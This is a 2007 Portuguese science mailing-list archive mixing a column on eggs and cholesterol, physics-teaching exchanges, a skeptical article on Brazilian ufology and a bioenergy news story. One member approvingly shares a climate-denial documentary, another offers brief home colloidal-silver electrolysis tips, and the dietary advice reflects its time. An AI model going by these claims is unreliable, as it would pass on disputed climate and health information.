Eu concordo, os ovos contêm um bocado de colesterol. Cerca de 212 mg cada um, para ser mais exato. Em termos proporcionais, eles só têm menos colesterol que porções de fígado, camarão, carne de pato e reis momos. Contudo, eliminar completamente os ovos da sua dieta não pode ser considerado uma medida 100% sensata. Você pode consumi-los com moderação se quiser, sem pânico.

Por exemplo: uma omelete de um ovo só tem um aspecto muito solitário, quase depressivo. A solução, ao invés de temperar a omelete com Fluoxetina, consiste em preparar seu prato com 2 ovos e comer sem culpa. No dia seguinte, equilibre a matemática nutricional evitando ovos e frituras.

Adicionar vegetais folhosos à refeição também é uma medida inteligente. As fibras vegetais atuam dificultando a absorção intestinal de colesterol. Inclusive, esta é a lógica por trás de muitos medicamentos direcionados para redução dos níveis de gorduras no sangue. Abuse de brócolis, couve, repolho, espinafre e taioba.

Uma vez que a imensa parte do colesterol do ovo está na gema, se você quiser comer ovos mexidos a saída também é simples: utilize 01 ovo inteiro e apenas a clara dos ovos seguintes. A quantidade de colesterol estará dentro do recomendável e você terá um mexido saboroso, rico em proteínas e capaz de matar sua fome.

Enfim, os ovos são uma excelente fonte de nutrientes e não uma granada galinácea pronta para detonar suas coronárias. Se você conseguir compreender isso, missão cumprida.

E eu estava para fechar esta crônica todo satisfeito, pensando ter redimido de uma vez por todas o papel dos ovos e suas progenitoras na dieta do cidadão comum, quando um infeliz comentou: mas... e o que você diz da Gripe do Frango?

Pronto, galinhas, lá vamos nós. De novo.



---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (http://shoppinglivros.com.br/loja.phtml?f=1&ccat=60&cprod=1300&sess=a75e095792e3f17a7c802ddb1cb2e117). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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SUBJECT: Mais uma para o Léo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/06/2007 23:27

Léo, veja se isso serve para alguma seção do Imperdível.

Isso não é um "moto-perpétuo", mas será legal mostrar para os
aluninhos e perguntar como é possível que as bolinhas paradas tenham
ganho movimento "do nada".

É claro que é bom explicar depois de onde vem essa energia. :)

Abraços,
JC




SUBJECT: Re: Mais uma para o Léo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/06/2007 23:29

Faltou o link: http://www.youtube.com/watch?v=KED8oEx0Nlc


--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
<profjc2003@...> escreveu
>
> Léo, veja se isso serve para alguma seção do Imperdível.
>
> Isso não é um "moto-perpétuo", mas será legal mostrar para os
> aluninhos e perguntar como é possível que as bolinhas paradas tenham
> ganho movimento "do nada".
>
> É claro que é bom explicar depois de onde vem essa energia. :)
>
> Abraços,
> JC
>




SUBJECT: Re: GUERRA DE OVOS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/06/2007 23:31

--- Em ciencialist@yahoogrupos.com.br, Alessandro Loiola
> Uma vez que a imensa parte do colesterol do ovo está na gema, se
> você quiser comer ovos mexidos a saída também é simples: utilize 01
> ovo inteiro e apenas a clara dos ovos seguintes.

O q significaria um baita desperdício de gemas. Claro, usá-las em
quindins, fio de ovos e quitutes portugueses seria uma solução qto ao
uso das gemas - mas nutricionalmente seria o equivalente a se fazer os
ovos mexidos com ovos inteiros, o q faria a operação inicial perder
muito do sentido (noves fora todo o açúcar abundante desses artefatos
hipercalóricos).

Se vc tem algum dom para artes plásticas poderia preparar uma têmpera:
1 parte de gema, 1 parte de água e três gotas de óleo de cravo e
pigmento à vontade (em pó e seco são melhores) - terá uma tinta que
segura bem a cor e não costuma rachar.

Há receitas de cosméticos caseiras - como tonificadores de cabelos - q
levam gema de ovos em sua preparação, mas não sei da validade nem dos
riscos.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Fw: PRATA COLOIDAL
FROM: Lourenço <listaslou@yahoo.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/06/2007 00:02

Na net tem alguma coisa, já andei pesquisando, é só colocar uns 30v em dois eletrodos de prata pura, em água, com a passagem da corrente, íons de prata são liberados para a água, que depois é usada como desinfetante.


Até.

Lourenço.

listaslou@yahoo.com.br

"QUEM QUISER SALVAR O MUNDO APODRECIDO, DEVE TER A CORAGEM DE MOSTRAR AS CAUSAS PRIMÁRIAS DESSE MAL"





----- Original Message -----
From: murilo filo
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, June 24, 2007 2:26 PM
Subject: RE: [ciencialist] Fw: PRATA COLOIDAL


Só pode ser um tipo de pilha em que a Ag oferecerá uma grande área de
contato p/reação.

>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: "ciencialist" <ciencialist@yahoogrupos.com.br>
>Subject: [ciencialist] Fw: PRATA COLOIDAL
>Date: Sun, 24 Jun 2007 10:13:40 -0300
>
>Quem conhece esse 'gerador'?
>
>[]'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>-----Mensagem Original-----
>De: "lutek" <lutek@isbt.com.br>
>Para: <leobarretos@uol.com.br>
>Enviada em: domingo, 24 de junho de 2007 10:12
>Assunto: PRATA COLOIDAL
>
>
>Bom dia professor .
>gostaria muito de saber como fazer um gerador de prata coloidal?
>como funciona ? pois trata-se de um aparelho pequeno e aparentemente
>simples.
>grato pela atenção
>Luiz claudio da silva.
>
>
>
>--
>No virus found in this incoming message.
>Checked by AVG Free Edition.
>Version: 7.5.472 / Virus Database: 269.9.6/862 - Release Date: 22/06/2007
>15:04
>
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>






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SUBJECT: Re: Mais uma para o Léo
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/06/2007 00:10

http://www.feiradeciencias.com.br/sala13/13_37.asp

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> Faltou o link: http://www.youtube.com/watch?v=KED8oEx0Nlc




SUBJECT: Re: Mapa e território
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/06/2007 04:09

E não responderei a nenhuma pergunta sua e não farei mais nenhuma
observação ou comentários sobre o q vc escrever eqto vc não fizer uma
de duas coisas:

1) Admitir q não sabe resolver o problema.
2) Apresentar a resolução para o problema (e depois resolver outra
série de problemas relacionados sem enrolar).

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Já que o Takata não quer conversa com o ferrari. Quem
> sabe o Roberto!
> --- Este é o problema. A ciencia não pratica ciencia,
> ela não é um ente, quem pratica ciencia é o ser
> humano, o cientista. Assim, este presuposto ai não é
> pra ciencia. A ciencia não tem nada a ver com
> pressupostos nem com enganos. Isto é pro cientista. A
> ciencia (em si) nunca erra, nunca se engana. Quem se
> engana é o cientista. Não existe enganos na natureza,
> graças ao território. Só existe engano na observação,
> no mapa, na cabeça do cientista. Eis ai um pressuposto
> fundamental, mas que grande partes dos fisicos
> insistem em ignorar.




SUBJECT: Re: Fw: Inércia
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/06/2007 04:30

Tem a ver com impacto/impulso.

Se o golpe é lento, a transmissão de momento linear é lenta, o q gera
uma força média menor. Se o golpe é rápido, a transmissão de momento
linear é rápida, o q gera uma força média maior.

Se a força média ficar abaixo da resistência do plástico à tensão, o
plástico não se rompe e transmite a força para as alças de papel. Se a
força em cada alça for maior do q a resistência delas, as alças se
rompem e a régua cai.

Se a força média ficar acima da resistência do plástico, ele se rompe.

É o mesmo motivo q faz com q se depositarmos uma pequena pedra sobre o
vidro, este não se rompe; mas se abandonarmos a pedra de uma certa
altura, o vidro poderá se estilhaçar.

[]s,

Roberto Takata


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
>
> Como explico isso para o jovem?
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: henrique nunes pereira
> Para: leobarretos@...
> Enviada em: sábado, 23 de junho de 2007 15:05
> Assunto: Inércia
>
>
> Gostaria de saber mais sobre a experiencia da inercia que está no
site feira se Ciências.É a experiência que você coloca uma régua entre
suas argolas de jornal.Gostaria de saber por que elas não rasgam e por
que a régua quebra.
>
>
> Obrigado pela atenção
>
> Responda-me com urgência.
>
>
>
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> Play free games, earn tickets, get cool prizes! Join Live Search
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>
>
>
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>
>
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22/06/2007 15:04
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] Re: Mais uma para o Léo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/06/2007 08:39

Olá JC,

já deu uma olhada no meu 'canhão' magnético?
http://www.feiradeciencias.com.br/sala13/13_37.asp

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 24 de junho de 2007 23:29
Assunto: [ciencialist] Re: Mais uma para o Léo


Faltou o link: http://www.youtube.com/watch?v=KED8oEx0Nlc


--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
<profjc2003@...> escreveu
>
> Léo, veja se isso serve para alguma seção do Imperdível.
>
> Isso não é um "moto-perpétuo", mas será legal mostrar para os
> aluninhos e perguntar como é possível que as bolinhas paradas tenham
> ganho movimento "do nada".
>
> É claro que é bom explicar depois de onde vem essa energia. :)
>
> Abraços,
> JC
>




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SUBJECT: Re: [ciencialist] Re: Mais uma para o Léo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/06/2007 08:42

Aprobo JC, pode me dar uma tradução 'geral' do que o professor do filme está falando? Meu ingrêis falado é menos eficiente que um moto-contínuo!
[]

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 24 de junho de 2007 23:29
Assunto: [ciencialist] Re: Mais uma para o Léo


Faltou o link: http://www.youtube.com/watch?v=KED8oEx0Nlc


--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
<profjc2003@...> escreveu
>
> Léo, veja se isso serve para alguma seção do Imperdível.
>
> Isso não é um "moto-perpétuo", mas será legal mostrar para os
> aluninhos e perguntar como é possível que as bolinhas paradas tenham
> ganho movimento "do nada".
>
> É claro que é bom explicar depois de onde vem essa energia. :)
>
> Abraços,
> JC
>




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SUBJECT: Re: [ciencialist] Re: Fw: Inércia
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 25/06/2007 09:22

Olá Roberto,

excelente exposição. Obviamente o que é bom, se aproveita. Aproveitei esse seu texto (dei uma 'mexida') e complementei o texto da página do experimento na sala 05:

http://www.feiradeciencias.com.br/sala05/05_01.asp

Dê uma lida e verifique se satisfaz às faixas etárias a que se destinam.
agradeço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 25 de junho de 2007 04:30
Assunto: [ciencialist] Re: Fw: Inércia


Tem a ver com impacto/impulso.

Se o golpe é lento, a transmissão de momento linear é lenta, o q gera
uma força média menor. Se o golpe é rápido, a transmissão de momento
linear é rápida, o q gera uma força média maior.

Se a força média ficar abaixo da resistência do plástico à tensão, o
plástico não se rompe e transmite a força para as alças de papel. Se a
força em cada alça for maior do q a resistência delas, as alças se
rompem e a régua cai.

Se a força média ficar acima da resistência do plástico, ele se rompe.

É o mesmo motivo q faz com q se depositarmos uma pequena pedra sobre o
vidro, este não se rompe; mas se abandonarmos a pedra de uma certa
altura, o vidro poderá se estilhaçar.

[]s,

Roberto Takata


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
>
> Como explico isso para o jovem?



SUBJECT: Re: [ciencialist] Seis fatos sobre a ufologia no Brasil
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/06/2007 10:26

Mas na origem da palavra "Ufo" não estaria justamenta a falta de
conhecimento do objeto? "Unknown Flying Object"??

Se for assim, seria justamente o estudo do "não-estudado", não-compreendido,
ou "não-conhecido". Se fossem extra-terrenos, e houvesse provas disso,
deixariam de ser UFOs. Acho...

Vou mandar um email pro Comando Ashtar, pra saber o que significa isso.

Gil

Em 24/06/07, SILVIO CORDEIRO <scordeiroes@superig.com.br> escreveu:
>
> Prezado Mori:
>
> Apenas uma pergunta de um neófito, sem o menor intento de causar polêmica:
> a
> palavra "ufologia" tem origem em "ufo" (objetos ou seres extra-terrestres
> e
> "logos" que é conhecimento, em grego:
> Como uma pessoa ou entidade pode dar-se essa classificação se não tem
> provas
> ou evidências físicas, palpáveis de tais coisas?
>
> O "ouví dizer" ou "me contaram" ou "vi, mais ou menos"...
> não tem respaldo científico: É importante que para esse estudo uma
> organização central coordenasse as pesquisas, apresentando à humanidade as
> evidências de seus argumentos e teorias.
>
> bom dia.
>
> silvio.
> ----- Original Message -----
> From: "Kentaro Mori" <kentaro.mori@gmail.com>
> To: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>;
> <exobiologia_e_cia@yahoogrupos.com.br>; <painelovni@yahoogrupos.com.br>;
> <UFO_PORTUGAL@yahoogrupos.com.br>; <ufoburn@yahoogrupos.com.br>;
> <Ufolista@yahoogrupos.com.br>; "lista CA"
> <ceticismoaberto@yahoogrupos.com.br>
> Sent: Sunday, June 24, 2007 12:26 AM
> Subject: [ciencialist] Seis fatos sobre a ufologia no Brasil
>
>
> Seis fatos sobre a ufologia no
> Brasil<http://www.ceticismoaberto.com/news/?p=913>
>
> Neste domingo, 24 de junho de 2007, ufólogos e entusiastas pelo mundo
> comemoram um *aniversário*: são 60 anos desde que o americano Kenneth
> Arnold
> relatou ter visto curiosos objetos voando à distância, que viriam a ser
> conhecidos como *discos voadores*. A data marca o início da chamada *
> ufologia*, e talvez como todo aniversário, provoca certo ufanismo.
>
> Compilamos assim os seis fatos abaixo como um contraponto crítico a tal "*
> ufonismo*". Áridos, inconvenientes, mesmo deprimentes como possam ser, não
> deixam de ser fatos incontestáveis, e fatos especialmente destilados da
> ufologia em nosso país. Afinal, a senhora ufologia não precisa esconder
> sua
> idade ou, no caso, uma lista tão pequena de seis simples fatos.
>
> Esta lista deve ser seguida na próxima semana por uma série de seis fatos
> sobre a ufologia no mundo, celebrando o aniversário do caso Roswell.
> *Memento
> mori*!
>
> *
> *
> *Fato 1*
>
> * Boa parte dos ufólogos brasileiros admite não haver provas de visitas
> extraterrestres.*
>
> Os principais ufólogos brasileiros em atividade hoje defendem a existência
> de um fenômeno intrigante com casos inexplicados, mas admitem a ausência
> de
> provas concretas a respeito de sua origem extraterrestre. Em outras
> palavras, muitos ufólogos no Brasil andam com os pés no chão. Da Terra.
>
> Claudeir
> Covo<
> http://www.cubbrasil.net/index.php?option=com_content&task=view&id=47&Itemid=35
> >,
> um dos ufólogos mais reconhecidos no meio, é claro: "*Ainda não existe uma
> comprovação científica para isso*".
>
> Já Ubirajara
> Rodrigues<
> http://www.cubbrasil.net/index.php?option=com_content&task=view&id=46&Itemid=35
> >,
> respeitado e bem conhecido por sua investigação do chamado "caso
> Varginha",
> se estende ao explicar que "*entre vida, vida inteligente e vida que
> atingiu
> um estágio inimaginável de aquisição tecnológica, existe uma distância tão
> grande de complexidade científica e filosófica, que nem sequer ainda
> sonhamos estar em condições de fazermos qualquer afirmação sobre elas. Que
> dirá, então, de partirmos para afirmar que UFOs sejam naves de origens
> cósmicas.*".
>
> Entre ufólogos mais jovens, mas não menos ativos, o reconhecimento da
> ausência de provas científicas conclusivas também é um fato consumado.
> "*Não
> existe nenhuma prova ou evidências concretas *[da relação entre OVNIs e a
> atividade de "inteligências extraterrestres"]", assegura Rogério
> Chola<
> http://www.cubbrasil.net/index.php?option=com_content&task=view&id=43&Itemid=35
> >.
> Reinaldo
> Stabolito<
> http://www.cubbrasil.net/index.php?option=com_content&task=view&id=45&Itemid=35
> >alerta
> que não "
> *temos como saber se o fenômeno UFO são mesmo veículos espaciais de
> extraterrestres. Então, quando falam sobre 'ETS', nada mais fazem do que
> projetar nossas expectativas, desejos e até caráter nos supostos
> extraterrestres. Pior, aproveitando-se dessa incógnita sobre o fenômeno,
> muita gente explora a fé das pessoas alegando contatos extraordinários
> inexistentes*".
>
> Poderíamos citar mais alguns ufólogos ativos, mas por certo, há "ufólogos"
> que não hesitam em afirmar o contrário. Um deles é Ademar Gevaerd.
>
> *
> *
> *Fato 2*
>
> * O editor da revista brasileira "UFO", Ademar Gevaerd, simplesmente fugiu
> do compromisso assumido publicamente de apresentar um único caso que
> evidenciasse a existência de vida inteligente fora da Terra.*
>
> No dia 21 de setembro de 2004, Gevaerd *comprometeu-se publicamente* a
> "*escolher
> um caso que, a seu critério, ofereça as melhores evidências da existência
> de
> vida inteligente fora da Terra*", oferecendo documentação relacionada que
> seria analisada pela comunidade científica, representada por cinco
> cientistas independentes "*das principais universidades brasileiras (como
> a
> USP, a PUC-SP e a UNICAMP), de diferentes áreas do conhecimento*".
>
> Oito dias depois de selar seu compromisso, Ademar Gevaerd simplesmente o
> abandonou. "*Não me sinto na obrigação de oferecer provas de que os UFOs
> existem a quem quer que seja*", declarou em uma surpreendente mensagem
> pública. Mais curioso ainda foi o fato de Gevaerd ter citado como
> incentivo
> à sua desistência as palavras do ufólogo Carlos Reis:
>
> "*Eu sei, você [Gevaerd] sabe e muita gente também sabe que a ufologia é
> frágil, nós não trabalhamos com provas, mas com indícios significativos de
> que estamos lidando com um fenômeno de natureza desconhecida. Só isso. Não
> podemos afirmar em sã consciência de que seja extraterrestre, nem podemos
> falar em 'alienígenas', pois são apenas suposições, teorias, hipóteses,
> elucubrações.*".
>
> *Gevaerd continua vendendo sua revista afirmando que OVNIs seriam
> extraterrestres*. Segundo ele, um dos melhores casos a provar a origem
> extraterrestre do fenômeno OVNI seria o "caso Varginha".
>
> [ver "Desafio ufológico", Radar Ockham
> n.01<http://www.projetoockham.org/boletim_01.html>
> ]
>
> *
> *
> *Fato 3*
>
> * Ubirajara Franco Rodrigues, primeiro e reconhecidamente principal
> investigador do "caso Varginha", atenta que "o que menos existe no caso
> Varginha é a presença alegada de um objeto voador não-identificado [OVNI]
> .
> Para o caso, para que possamos afirmar que seja a aparição, captura, naves
> de outros planetas, seres extraterrestres, não há dado nenhum".*
>
> "*O que até hoje existe de ufólogo no Brasil fazendo afirmações sobre o
> caso
> sem o mínimo respaldo, informações truncadas, errôneas, não verdadeiras, a
> respeito do próprio depoimento das testemunhas, são vários. E o que mais
> me
> espanta, o que tenho ouvido de bobagem contra o caso é um número menor que
> as bobagens que eu tenho ouvido a favor, nos meios da própria ufologia. .
> Dos trinta ufólogos mais conhecidos no Brasil . que leram um livro de
> quatrocentas páginas com todos os detalhes que forneci do caso, se forem
> cinco estaremos sendo muito otimistas. E querem opinar sobre o caso*",
> lamenta.
>
> Estas declarações fazem parte de sua entrevista ao "Painel OVNI
> TV<http://www.painelovni.com.br/>",
> e Ubirajara Rodrigues se refere ao livro "O Caso
> Varginha<http://www.ufo.com.br/index.php?arquivo=biblioteca.php&id=9>",
> de sua autoria, onde conclui enfaticamente que não se pode concluir nada a
> respeito do caso dada a ausência de evidências concretas.
>
> *
> *
> *Fato 4*
>
> * O pânico popular "chupa-chupa" ao fim da década de 1970 na Amazônia não
> é
> um caso único.*
>
> O episódio é um dos principais casos "ufológicos" ocorridos no Brasil.
> Interessados em explorá-lo como um mistério insolúvel - ou
> "alienigenamente"
> solúvel - não raro o elevam a uma posição singular, inédita, incomparável.
> Não é o caso.
>
> Relatos praticamente idênticos ocorreram na Índia no recente ano de 2002,
> com a histeria "Muchnowa" - ou "*coisa que morde ou arranha o rosto*" em
> hindi, apelido popular similar ao "chupa-chupa" brasileiro, que sugaria o
> sangue de suas vítimas. Ambos fenômenos atingiram regiões pobres e pouco
> amparadas, provocando pânico nas populações locais e produzindo pouca
> evidência concreta além de relatos de luzes e ataques gerando marcas como
> arranhões, cortes e queimaduras nas vítimas.
>
>
> [Esquerda: Vítima de Muchnowa, Índia, 2002. Direita: Vítima do
> chupa-chupa,
> Brasil, 1977]
>
> No caso indiano, a idéia do envolvimento de seres alienígenas circulou,
> embora com muito menos ênfase, talvez porque episódios de histeria popular
> estivessem em voga. Apenas um ano antes, ataques do
> "homem-macaco<
> http://archives.cnn.com/2001/WORLD/asiapcf/south/06/18/india.monkey/>"
> aterrorizaram e provocaram mortes em tumultos. Poucos associaram o
> "homem-macaco" a seres extraterrestres. De fato, especialistas apontariam
> o
> caso como um exemplo clássico de histeria popular.
>
> [Homem-macaco, Índia, 2001]
>
> Qualquer que seja a explicação última ao "Muchnowa" ou ao "Chupa-chupa", é
> evidente que elementos psicológicos e sociais ligam os dois eventos, muito
> similares em todos os aspectos. As poucas evidências físicas disponíveis
> sobre o caso brasileiro foram recolhidas à época por uma operação militar,
> a
> chamada "Operação Prato".
>
> *
> *
> *Fato 5*
>
> * "Nossos registros cine-fotográficos não retratam nossa certeza [de que
> os
> corpos e luzes são "inteligentemente dirigidos"], pois muito carentes de
> recursos técnicos, material e pessoal, deixou a desejar. Nas demais vezes
> perdemos a oportunidade, fotografando com material inadequado; acreditamos
> que com melhores recursos possamos chegar ao razoavelmente satisfatório",
> conclui um relatório de setembro de 1977 da "Operação Prato", que
> investigava o chamado fenômeno "chupa-chupa". Isto é, admite-se a ausência
> de evidência física satisfatória.*
>
> Por que tanta precariedade? De acordo com o comando da Força Aérea, a
> operação teria sido em verdade resultado do interesse pessoal sobre o tema
> de alguns militares. O próprio coronel Uyrangê Hollanda, comandante da
> operação, lembrou que "*foi uma felicidade estar no 1º COMAR, naquela
> época,
> naquela região, um oficial da Aeronáutica, um brigadeiro, que acreditava
> em
> discos voadores. Tivesse sido outro oficial, outro brigadeiro, talvez a
> operação não tivesse saído*".
>
> Segundo o Centro de Comunicação Social da Força Aérea, "*sobre a Operação
> Prato, o Comando da Força Aérea tem apenas os registros baseados nos dados
> fornecidos por um dos membros dessa atividade. Um relatório com muitos
> testemunhos foi produzido, aparentemente sem base científica*". De fato,
> os
> relatórios disponíveis são apenas uma compilação de relatos, muitas vezes
> dificilmente inteligível pelos erros gramaticais e semânticos. Não há
> praticamente nenhuma análise científica dos casos relatados.
>
> [ver "Operation Saucer" Electronic
> Reference<http://www.ceticismoaberto.com/research/prato/>
> ]
>
> *
> *
> *Fato 6*
>
> * A ufologia brasileira teve seu início marcado por uma tosca fraude
> fotográfica. Ufólogos só reconheceram o fato três décadas depois.*
>
> Em nossas terras o evento que definitivamente lançou a ufologia ao
> imaginário popular foi o disco voador na Barra da Tijuca, em 1952. Em
> primeira página e letras garrafais, a publicação dos *Diários
> Associados *exclamava:
> "*EXTRA: DISCO VOADOR NA BARRA DA TIJUCA. O Cruzeiro apresenta, num furo
> jornalístico espetacular, a mais sensacional documentação jamais
> conseguida
> sobre o mistério dos discos voadores"*.
>
> Realmente sensacional. De fato, *sensacionalista*: *as fotos continham
> incoerências óbvias de iluminação* - o disco era iluminado em um sentido
> diferente do resto do cenário. A fraude foi rejeitada no mesmo ano por Ary
> Maurell Lobo, da revista *Ciência Popular*, e as discrepâncias das sombras
> foram ressaltadas por americanos poucos anos depois, fazendo parte do
> famoso
> relatório "Condon".
>
> Curiosamente, entre ufólogos e mesmo militares brasileiros, a situação foi
> bem diferente e passariam-se décadas até que a fraude fosse reconhecida.
> Oficiais da própria aeronáutica, liderados pelo coronel João Adil de
> Oliveira, analisaram as imagens e, ao falhar em reproduzi-las usando um
> modelo lançado ao ar, *declararam-nas autênticas*. A fraude foi realizada
> em
> verdade através de fotomontagens, mas nossos ufólogos não o notaram.
>
> Apenas nos anos 1980, os ufólogos brasileiros Carlos Reis e Claudeir Covo
> apontariam evidências de que as fotografias teriam sido trucadas. Na
> quinta
> e última fotografia, Covo notou que "*para gerar a sombra no objeto, o Sol
> deveria estar dentro do Oceano Atlântico*". Suas pesquisas geraram
> polêmica
> no meio, e mesmo hoje alguns ufólogos brasileiros ainda defendem a
> autenticidade das imagens toscamente forjadas.
>
> [ver Fraudes ufológicas: O caso Barra da
> Tijuca<http://www.infa.com.br/o_caso_barra_da_tijuca01.html>
> ]
>
> Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
> Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori
> Comente!
> » <http://www.ceticismoaberto.com/news/?p=913#respond>
>
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SUBJECT: Re: Seis fatos sobre a ufologia no Brasil
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/06/2007 10:44

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Mas na origem da palavra "Ufo" não estaria justamenta a falta de
> conhecimento do objeto? "Unknown Flying Object"??

Falando em óvnis. Sinais de plantação de alienígenas psicodélicos:

http://g1.globo.com/Noticias/Mundo/0,,MUL58259-5602,00.html
---------------------
[]s,

Roberto Takata





SUBJECT: "A Grande Fraude do Aquecimento Global" com legendas em PT-BR
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/06/2007 11:44

Pessoal,
é o mesmo documentário "A Grande Fraude do Aquecimento Global" agora
com LEGENDAS EM PORTUGUÊS BRASILEIRO. Se antes o único problema para
ver era não entender o inglês falado, agora não há mais desculpa. ;-)

Parte 1:
http://www.youtube.com/watch?v=1JCVjg7H94s
Parte 2:
http://www.youtube.com/watch?v=L18k0Y5MMok
Parte 3:
http://www.youtube.com/watch?v=r68nSt2fMPY
Parte 4:
http://www.youtube.com/watch?v=KNtvuA-D_O8
Parte 5:
http://www.youtube.com/watch?v=7QojxAG_rd8
Parte 6:
http://www.youtube.com/watch?v=0mZSKRDDBFE
Parte 7:
http://www.youtube.com/watch?v=atYTQ3soxZo
Parte 8:
http://www.youtube.com/watch?v=KI6_1ndsTFg
Parte 9:
http://www.youtube.com/watch?v=OBd8_cgLYek

Saudações a todos.
--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Fw: *BR* Bagaço de cana pode adicionar uma usina do Madeira ao setor
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <redeliberal@yahoogrupos.com.br>
DATE: 25/06/2007 13:53





Bagaço de cana pode adicionar uma usina do Madeira ao setor

Maurício Capela e Mônica Scaramuzzo
Valor Econômico
25/6/2007

De cana em cana, de corte em corte, uma revolução ainda silenciosa começa a tomar conta das usinas de álcool e açúcar espalhadas pelo Brasil. Certos de que é só uma questão de tempo para que o etanol deixe de ser coadjuvante para dividir o papel de ator principal no mercado mundial de combustíveis com o petróleo, os usineiros do país resolveram não perder tempo. E investem pesado no aumento da área plantada, na incorporação de tecnologias e até na melhora do padrão genético da matéria-prima. E como efeito colateral de tanto esforço, nove entre dez produtores já perceberam que não é só de etanol e açúcar que se vive. Também dá para fazer bom dinheiro transformando o bagaço da cana em megawatts (MW).

Portanto, é com esse cenário à mesa que consultorias, comercializadoras de energia no mercado livre e os próprios usineiros rabiscam um punhado de projeções. E o resultado revela que seria possível adicionar entre 6 mil MW e 8 mil MW ao potencial instalado de geração de energia do país. Em outras palavras, é como se a moagem de toneladas e toneladas de cana que hoje são queimadas com efeitos perversos ao meio ambiente pudessem gerar o equivalente à usina hidrelétrica do rio Madeira, cujo projeto prevê potência instalada de 6,48 mil MW.

"Acho bastante factível que as usinas de álcool e açúcar gerem um excedente de energia ao redor de 6 mil MW", afirma Marcelo Parodi, co-presidente da comercializadora de energia Comerc. "Podemos chegar a 8 mil MW com a atual produção brasileira de cana", afirma Onório Kitayama, consultor de energia da União da Indústria da Cana-de-Açúcar (Unica).

O consultor da Unica conta que os investimentos nesta área começaram na década de 90, mas ganharam força nos últimos quatro anos. Cerca de R$ 4 bilhões já foram aplicados neste período e novos aportes já foram anunciados.

"Todos os novos projetos de usinas, que somam US$ 15 bilhões em quase 90 unidades até 2012, já contemplam investimentos em co-geração", diz Kitayama. E, segundo Carlos Roberto Silvestrin, vice-presidente executivo da Associação Paulista de Cogeração de Energia (Cogen/SP), entre 2007 e 2011 outros R$ 4 bilhões serão injetados no setor para aumentar a atual capacidade instalada e para aportes em novos planos. Com os novos projetos de usinas concluídos, o potencial de geração de energia chegará a 11.000 MW, em uma projeção conservadora.

O fato é que tanto a conta de Kitayama como as análises, por exemplo, da comercializadora Grym, que estima os cerca de 6 mil MW de energia excedente atual, baseia-se na moagem de 500 milhões de toneladas de cana prevista para a safra 2007/08. E a diferença entre um indicador e outro reside justamente na disponibilidade de bagaço, com a inclusão da palha para a geração.

